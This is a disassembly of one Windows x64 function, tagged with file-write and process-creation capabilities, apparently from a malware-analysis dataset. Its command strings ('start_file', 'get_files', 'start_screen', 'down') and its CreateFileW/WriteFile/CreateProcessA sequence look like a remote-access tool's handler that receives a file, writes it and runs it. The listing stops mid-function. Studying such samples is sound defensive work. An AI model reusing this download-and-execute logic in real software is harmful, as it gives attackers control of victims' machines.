Function at 0x140006260
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x1400790c0]
xor rax, rsp
mov qword [rbp + 0x240], rax
mov rdi, r8
mov r14, rdx
mov r15, rcx
mov qword [rbp + 0x100], rcx
mov qword [rbp - 0x80], r8
mov rdx, qword [r8]
mov rax, qword [r8 + 8]
sub rax, rdx
sar rax, 5
test rax, rax
je 0x1400078b9
lea rcx, [rbp + 0x1a8]
call fcn.14000b0a0
nop
lea rcx, [rbp + 0x1a8]
mov r12, qword [rbp + 0x1c0]
mov qword [rsp + 0x60], r12
cmp r12, 0xf
seta r13b
mov byte [rsp + 0x50], r13b
mov rsi, qword [rbp + 0x1a8]
cmova rcx, rsi
mov rbx, qword [rbp + 0x1b8]
cmp rbx, 4
jne 0x1400063b7
mov r8, rbx
lea rdx, str.info
call fcn.14005fd40
test eax, eax
jne 0x1400063b7
test r13b, r13b
je 0x140006353
lea rdx, [r12 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000634a
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000789b
mov rcx, rsi
call fcn.1400375d0
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400076fb
mov rdx, qword [rdi + 8]
call fcn.14000f800
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x14000639b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400078b3
mov rcx, r8
call fcn.1400375d0
xor eax, eax
mov qword [rdi], rax
mov qword [rdi + 8], rax
mov qword [rdi + 0x10], rax
mov eax, 1
jmp 0x140007871
lea rcx, [rbp + 0x1a8]
test r13b, r13b
cmovne rcx, rsi
cmp rbx, 0xa
jne 0x140006651
mov r8, rbx
lea rdx, str.start_file
call fcn.14005fd40
test eax, eax
jne 0x140006651
lea rdx, [rbp + 0xa0]
call fcn.140004de0
nop
xorps xmm0, xmm0
mov byte [rsp + 0x50], 0x48
movdqu xmmword [rbp + 0x110], xmm0
xor ebx, ebx
mov qword [rbp + 0x120], rbx
lea edx, [rbx + 1]
lea rcx, [rbp + 0x110]
call fcn.140010c70
mov r14, qword [rbp + 0x110]
movzx eax, byte [rsp + 0x50]
mov byte [r14], al
lea r12, [r14 + 1]
mov qword [rbp + 0x118], r12
lea ecx, [rbx + 0x48]
call fcn.1400375d8
mov r15, rax
mov qword [rsp + 0x58], rax
mov qword [rax], rbx
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbx
sub r12, r14
je 0x14000648e
movabs rax, 0x7fffffffffffffff
cmp r12, rax
ja 0x1400078bf
mov rdx, r12
mov rcx, r15
call fcn.140010c70
mov rbx, qword [r15]
mov r8, r12
mov rdx, r14
mov rcx, rbx
call fcn.14005f260
lea rax, [rbx + r12]
mov qword [r15 + 8], rax
xor ebx, ebx
lea rcx, [r15 + 0x18]
mov qword [rbp + 0xd0], rcx
lea rdx, [rbp + 0xa0]
call fcn.14000b0a0
nop
mov rax, qword [rbp + 0x100]
mov qword [r15 + 0x38], rax
lea rax, [0x140003c20]
mov qword [r15 + 0x40], rax
mov qword [rbp + 0x100], r15
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
mov r9, r15
lea r8, [0x140011850]
xor edx, edx
xor ecx, ecx
call fcn.14003f0e4
mov qword [rbp + 0xc0], rax
test rax, rax
je 0x1400078e2
cmp dword [rbp + 0xc8], 0
je 0x1400078d7
movaps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x100]
call fcn.140016464
test eax, eax
jne 0x1400078d7
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xc0], xmm0
test r14, r14
je 0x14000656e
mov rdx, qword [rbp + 0x120]
sub rdx, r14
mov rax, r14
cmp rdx, 0x1000
jb 0x140006565
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078c5
mov rcx, r14
call fcn.1400375d0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x1400065af
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078cb
call fcn.1400375d0
mov qword [rbp + 0xb0], rbx
mov qword [rbp + 0xb8], recv
mov byte [rbp + 0xa0], 0
test r13b, r13b
je 0x140006603
mov rdx, qword [rsp + 0x60]
inc rdx
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400065fa
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078d1
mov rcx, rsi
call fcn.1400375d0
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400076fb
mov rdx, qword [rdi + 8]
call fcn.14000f800
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140006ea4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400078a1
jmp 0x140006ea1
lea rcx, [rbp + 0x1a8]
test r13b, r13b
cmovne rcx, rsi
cmp rbx, 9
jne 0x140006d65
mov r8, rbx
lea rdx, str.get_files
call fcn.14005fd40
test eax, eax
jne 0x140006d65
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
sub rax, rdx
sar rax, 5
cmp rax, 1
jbe 0x1400078f3
add rdx, 0x20
lea rcx, [rbp + 0x168]
call fcn.14000b0a0
nop
lea r8, [rbp + 0x168]
lea rdx, [rbp + 0x148]
call fcn.140005370
nop
mov rcx, qword [0x14007cd28]
movabs r13, 0x7fffffffffffffff
mov rax, r13
sub rax, rcx
cmp rax, rbx
jb 0x1400078f9
lea rax, [0x14007cd18]
cmp qword [0x14007cd30], 0xf
cmova rax, qword [0x14007cd18]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, str.listFiles
lea rcx, [rbp + 0xa0]
call fcn.140010b30
nop
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x188]
call fcn.140002cc0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000676c
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006767
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400078ff
call fcn.1400375d0
xor r12d, r12d
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], recv
mov byte [rbp + 0xa0], r12b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x128], xmm0
mov qword [rbp + 0x138], rax
lea r8, [rbp + 0x148]
lea rdx, [rbp + 0x128]
call fcn.140007e70
nop
lea r8, [rbp + 0x188]
lea rdx, [rsp + 0x68]
call fcn.140007e70
nop
mov rbx, qword [rax + 8]
mov r15, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
cmp r15, rbx
jne 0x1400067f5
mov qword [rbp + 0xb8], recv
mov byte [rbp + 0xa0], r12b
jmp 0x1400068fc
mov rax, rbx
sub rax, r15
mov r14d, recv
mov qword [rbp + 0xb8], r14
cmp rax, r13
ja 0x140007905
cmp rax, r14
jbe 0x1400068a0
mov r14, rax
or r14, 0xf
cmp r14, r13
jbe 0x140006859
mov r14, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400375d8
mov rcx, rax
test rax, rax
je 0x14000790b
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000688f
mov eax, socket
cmp r14, rax
cmovb r14, rax
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x140006881
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400078a7
jmp 0x140006837
test rcx, rcx
je 0x14000688d
call fcn.1400375d8
jmp 0x14000688f
xor eax, eax
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xb8], r14
nop dword [rax]
lea rcx, [rbp + 0xa0]
cmp r14, 0xf
cmova rcx, qword [rbp + 0xa0]
movzx eax, byte [r15]
mov byte [rcx + r12], al
mov r12, qword [rbp + 0xb0]
inc r12
mov qword [rbp + 0xb0], r12
inc r15
cmp r15, rbx
je 0x1400068dd
mov r14, qword [rbp + 0xb8]
jmp 0x1400068a0
lea rax, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rax, qword [rbp + 0xa0]
mov byte [r12 + rax], 0
xor r12d, r12d
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140006946
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006933
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007911
call fcn.1400375d0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r12
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rax
lea rcx, [rbp + 0x168]
mov rbx, qword [rbp + 0x178]
cmp qword [rbp + 0x180], 0xf
jbe 0x14000697d
mov r14, qword [rbp + 0x168]
add rbx, r14
jmp 0x140006987
add rbx, rcx
lea r14, [rbp + 0x168]
movdqu xmmword [rbp + 0x110], xmm0
mov r13, r12
mov qword [rbp + 0x120], r12
sub rbx, r14
je 0x1400069e9
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140007917
mov rdx, rbx
lea rcx, [rbp + 0x110]
call fcn.140010c70
mov r8, rbx
mov rdx, r14
mov r15, qword [rbp + 0x110]
mov rcx, r15
call fcn.14005f260
lea rax, [rbx + r15]
mov qword [rbp + 0x118], rax
mov r13, qword [rbp + 0x120]
jmp 0x1400069f0
mov r15, qword [rbp + 0x110]
mov ecx, 0x48
call fcn.1400375d8
mov r14, rax
mov qword [rbp + 0xd0], rax
xor ebx, ebx
mov qword [rax], rbx
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbx
mov rax, qword [rbp + 0x130]
mov r12, qword [rbp + 0x128]
sub rax, r12
mov qword [rsp + 0x58], rax
je 0x140006a68
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x14000791d
mov rdx, rax
mov rcx, r14
call fcn.140010c70
mov rbx, qword [r14]
mov r8, qword [rsp + 0x58]
mov rdx, r12
mov rcx, rbx
call fcn.14005f260
mov rax, qword [rsp + 0x58]
add rax, rbx
mov qword [r14 + 8], rax
xor ebx, ebx
lea rcx, [r14 + 0x18]
mov qword [rsp + 0x58], rcx
lea rdx, [rbp + 0xa0]
call fcn.14000b0a0
nop
mov rax, qword [rbp + 0x100]
mov qword [r14 + 0x38], rax
lea rax, [0x140003c20]
mov qword [r14 + 0x40], rax
mov qword [rbp + 0x100], r14
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
mov r9, r14
lea r8, [0x140011850]
xor edx, edx
xor ecx, ecx
call fcn.14003f0e4
mov qword [rbp + 0xc0], rax
test rax, rax
je 0x140007958
cmp dword [rbp + 0xc8], 0
je 0x14000794d
movaps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x100]
call fcn.140016464
test eax, eax
jne 0x14000794d
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xc0], xmm0
test r15, r15
je 0x140006b42
sub r13, r15
mov rax, r15
cmp r13, 0x1000
jb 0x140006b36
add r13, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007923
mov rdx, r13
mov rcx, r15
call fcn.1400375d0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140006b84
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007929
call fcn.1400375d0
nop
test r12, r12
je 0x140006bc2
mov rdx, qword [rbp + 0x138]
sub rdx, r12
mov rax, r12
cmp rdx, 0x1000
jb 0x140006bb9
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000792f
mov rcx, r12
call fcn.1400375d0
nop
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 7
jbe 0x140006c08
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007935
call fcn.1400375d0
mov qword [rbp + 0x198], rbx
mov qword [rbp + 0x1a0], 7
mov word [rbp + 0x188], bx
mov rdx, qword [rbp + 0x160]
cmp rdx, 7
jbe 0x140006c67
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006c62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000793b
call fcn.1400375d0
mov qword [rbp + 0x158], rbx
mov qword [rbp + 0x160], 7
mov word [rbp + 0x148], bx
mov rdx, qword [rbp + 0x180]
cmp rdx, 0xf
jbe 0x140006cc1
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006cbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007941
call fcn.1400375d0
mov qword [rbp + 0x178], rbx
mov qword [rbp + 0x180], recv
mov byte [rbp + 0x168], 0
cmp byte [rsp + 0x50], 0
je 0x140006d17
mov rdx, qword [rsp + 0x60]
inc rdx
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006d0e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007947
mov rcx, rsi
call fcn.1400375d0
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400076fb
mov rdx, qword [rdi + 8]
call fcn.14000f800
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140006ea4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400078ad
jmp 0x140006ea1
lea rcx, [rbp + 0x1a8]
test r13b, r13b
cmovne rcx, rsi
cmp rbx, 0xc
jne 0x140006ebe
mov r8, rbx
lea rdx, str.start_screen
call fcn.14005fd40
test eax, eax
jne 0x140006ebe
lea ecx, [rbx + 0xc]
call fcn.1400375d8
mov qword [rax], r14
mov qword [rax + 8], r15
lea rcx, [0x140004790]
mov qword [rax + 0x10], rcx
mov qword [rbp + 0x100], rax
lea rcx, [rbp + 0xc8]
mov qword [rsp + 0x28], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x140011890]
xor edx, edx
xor ecx, ecx
call fcn.14003f0e4
mov qword [rbp + 0xc0], rax
test rax, rax
je 0x140007980
cmp dword [rbp + 0xc8], ebx
je 0x140007975
movaps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x100], xmm0
lea rcx, [rbp + 0x100]
call fcn.140016464
test eax, eax
jne 0x140007975
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xc0], xmm0
test r13b, r13b
je 0x140006e5c
lea rdx, [r12 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140006e53
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007969
mov rcx, rsi
call fcn.1400375d0
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400076fb
mov rdx, qword [rdi + 8]
call fcn.14000f800
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140006ea4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000796f
mov rcx, r8
call fcn.1400375d0
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rbx
mov eax, 1
jmp 0x140007871
lea rcx, [rbp + 0x1a8]
test r13b, r13b
cmovne rcx, rsi
cmp rbx, 4
jne 0x140007705
mov r8, rbx
lea rdx, str.down
call fcn.14005fd40
test eax, eax
jne 0x140007705
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
sub rax, rdx
sar rax, 5
cmp rax, 1
jbe 0x140007991
add rdx, 0x20
lea rcx, [rbp + 0x128]
call fcn.14000b0a0
nop
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
sub rax, rdx
sar rax, 5
cmp rax, 2
jbe 0x140007997
add rdx, 0x40
lea rcx, [rbp + 0x148]
call fcn.14000b0a0
nop
mov rdx, qword [rdi]
mov rax, qword [rdi + 8]
sub rax, rdx
sar rax, 5
cmp rax, 3
jbe 0x14000799d
add rdx, 0x60
lea rcx, [rbp + 0x188]
call fcn.14000b0a0
nop
xor r15d, r15d
mov r12d, r15d
lea rcx, [rbp + 0x128]
cmp qword [rbp + 0x140], 0xf
cmova rcx, qword [rbp + 0x128]
call fcn.140002900
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x140006fa0
mov r14d, dword [rax]
test r14d, r14d
je 0x140006fa0
mov r12, rcx
jmp 0x140006fa7
mov r14d, dword [rbp + 0xd0]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd8], xmm0
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xf0], 7
mov word [rbp + 0xd8], r15w
lea rcx, [rbp + 0xa0]
call fcn.140002ad0
mov rbx, rax
lea rax, [rbp + 0xd8]
cmp rax, rbx
je 0x14000706f
mov rdx, qword [rbp + 0xf0]
cmp rdx, 7
jbe 0x140007030
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000702b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079a3
call fcn.1400375d0
mov qword [rbp + 0xe8], r15
mov qword [rbp + 0xf0], 7
mov word [rbp + 0xd8], r15w
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x1400070b5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400070b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079a3
call fcn.1400375d0
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0xa0]
call fcn.140002cc0
nop
mov rdx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400070d6
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0xd8]
call fcn.14000cce0
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 7
jbe 0x14000712d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007128
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079a9
call fcn.1400375d0
mov rbx, qword [rbp + 0x1a0]
mov qword [rsp + 0x58], rbx
mov r15, qword [rbp + 0x188]
cmp qword [rbp + 0xe8], 0
je 0x14000751d
lea rcx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 7
cmova rcx, qword [rbp + 0xd8]
xor eax, eax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
test rax, rax
je 0x140007518
mov dword [rbp + 0xd0], 0xffffffff
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd0]
mov r8d, r14d
mov rdx, r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r12d, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 0xd0], r14d
jne 0x140007518
mov rbx, qword [rsp + 0x58]
cmp r12d, 1
jne 0x14000751d
lea rcx, [rbp + 0x188]
cmp rbx, 0xf
cmova rcx, r15
mov r8, qword [rbp + 0x198]
cmp r8, 1
jne 0x14000751d
lea rdx, [0x14006ea80]
call fcn.14005fd40
test eax, eax
jne 0x14000751d
lea r8, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 7
cmova r8, qword [rbp + 0xd8]
xor r14d, r14d
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r14
mov rbx, 0xffffffffffffffff
mov r9d, ebx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r12, eax
mov rcx, r12
test eax, eax
je 0x1400072e5
lea edx, [rbx + 2]
call fcn.14003e520
mov r14, rax
lea r8, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 7
cmova r8, qword [rbp + 0xd8]
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r14
mov r9d, ebx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jle 0x1400072e2
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xor eax, eax
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rax
inc rbx
cmp byte [r14 + rbx], al
jne 0x1400072d1
mov r8, rbx
mov rdx, r14
jmp 0x140007307
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], r14
xor r8d, r8d
lea rdx, [0x14006e886]
lea rcx, [rbp + 0xa0]
call fcn.14000edf0
nop
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
lea r12, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
lea rbx, vtable.std::ios_base.0
nop dword [rax]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x70]
call fcn.14005f900
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
lea rcx, [rbp - 0x70]
call fcn.14000caa0
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r14
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov eax, dword [rbp + rcx - 0x60]
mov qword [rbp + rcx - 0x70], r14
test al, 6
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x74], edx
lea rcx, [rbp - 0x60]
je 0x1400073ea
call fcn.14000a780
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x74], edx
mov qword [rbp + 0x40], rbx
lea rcx, [rbp + 0x40]
call fcn.140015d94
nop
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007330
call fcn.14000a780
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x70], r12
mov rax, qword [rbp - 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x74], edx
mov qword [rbp + 0x40], rbx
lea rcx, [rbp + 0x40]
call fcn.140015d94
nop
mov dword [rbp + 0x1d0], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
movups xmmword [rbp + 0x1e8], xmm0
movups xmmword [rbp + 0x1f8], xmm0
movups xmmword [rbp + 0x208], xmm0
movups xmmword [rbp + 0x218], xmm0
movups xmmword [rbp + 0x228], xmm0
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rcx, qword [rbp + 0xa0]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1d0]
mov qword [rsp + 0x40], rax
xor r14d, r14d
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400074d0
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140007511
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000750c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079af
call fcn.1400375d0
mov rbx, qword [rsp + 0x58]
jmp 0x140007520
mov rbx, qword [rsp + 0x58]
xor r14d, r14d
mov rdx, qword [rbp + 0xf0]
cmp rdx, 7
jbe 0x140007566
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007561
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079b5
call fcn.1400375d0
mov qword [rbp + 0xe8], r14
mov qword [rbp + 0xf0], 7
mov word [rbp + 0xd8], r14w
cmp rbx, 0xf
jbe 0x1400075b8
lea rdx, [rbx + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x1400075af
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079bb
mov rcx, r15
call fcn.1400375d0
nop
mov rdx, qword [rbp + 0x160]
cmp rdx, 0xf
jbe 0x1400075f9
inc rdx
mov rcx, qword [rbp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400075f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079c1
call fcn.1400375d0
mov qword [rbp + 0x158], r14
mov qword [rbp + 0x160], recv
mov byte [rbp + 0x148], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0xf
jbe 0x140007653
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000764e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079c7
call fcn.1400375d0
mov qword [rbp + 0x138], r14
mov qword [rbp + 0x140], recv
mov byte [rbp + 0x128], 0
test r13b, r13b
je 0x1400076a7
mov rdx, qword [rsp + 0x60]
inc rdx
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000769e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079cd
mov rcx, rsi
call fcn.1400375d0
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400076fb
mov rdx, qword [rdi + 8]
call fcn.14000f800
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x1400076eb
